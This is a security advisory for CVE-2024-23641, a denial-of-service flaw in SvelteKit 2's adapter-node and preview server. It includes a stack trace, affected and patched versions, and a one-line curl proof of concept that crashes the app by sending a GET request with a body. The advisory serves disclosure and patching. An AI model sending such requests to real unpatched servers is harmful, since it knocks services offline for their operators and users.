Headline
GHSA-g5m6-hxpp-fc49: Sending a GET or HEAD request with a body crashes SvelteKit
Summary
In SvelteKit 2 sending a GET request with a body eg {}
to a SvelteKit app in preview or with adapter-node
throws Request with GET/HEAD method cannot have body.
and crashes the app.
node:internal/deps/undici/undici:6066
throw new TypeError("Request with GET/HEAD method cannot have body.");
^
TypeError: Request with GET/HEAD method cannot have body.
at new Request (node:internal/deps/undici/undici:6066:17)
at getRequest (file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/node/index.js:107:9)
at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:181:26
at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5)
at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:172:6
at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5)
at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:211:27
at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
Node.js v20.11.0
TRACE
requests will also cause the app to crash. Prerendered pages and SvelteKit 1 apps are not affected.
<!–
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. –>
PoC
<!-- Complete instructions, including specific configuration details, to reproduce the vulnerability. --> First do a fresh install of SvelteKit 2 with the example app. Typescript.
npm run build
npm run preview
- Go to http://localhost:4173 (works)
- curl -X GET -d “{}” http://localhost:4173/bye
- Application crashes and http://localhost:4173 is down
Impact
<!-- What kind of vulnerability is it? Who is impacted? -->
Denial of Service for apps using adapter-node
- GitHub Advisory Database
- GitHub Reviewed
- CVE-2024-23641
Sending a GET or HEAD request with a body crashes SvelteKit
High severity GitHub Reviewed Published Jan 24, 2024 in sveltejs/kit • Updated Jan 24, 2024
Package
npm @sveltejs/adapter-node (npm)
Affected versions
>= 2.0.0, < 2.1.2
>= 3.0.0, < 3.0.3
= 4.0.0
Patched versions
2.1.2
3.0.3
4.0.1
Summary
In SvelteKit 2 sending a GET request with a body eg {} to a SvelteKit app in preview or with adapter-node throws Request with GET/HEAD method cannot have body. and crashes the app.
node:internal/deps/undici/undici:6066
throw new TypeError("Request with GET/HEAD method cannot have body.");
^
TypeError: Request with GET/HEAD method cannot have body.
at new Request (node:internal/deps/undici/undici:6066:17)
at getRequest (file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/node/index.js:107:9)
at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:181:26
at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5)
at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:172:6
at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5)
at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:211:27
at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
Node.js v20.11.0
TRACE requests will also cause the app to crash. Prerendered pages and SvelteKit 1 apps are not affected.
PoC
First do a fresh install of SvelteKit 2 with the example app. Typescript.
- npm run build
- npm run preview
- Go to http://localhost:4173 (works)
- curl -X GET -d “{}” http://localhost:4173/bye
- Application crashes and http://localhost:4173 is down
Impact
Denial of Service for apps using adapter-node
References
- GHSA-g5m6-hxpp-fc49
- sveltejs/kit@af34142
Published to the GitHub Advisory Database
Jan 24, 2024
Last updated
Jan 24, 2024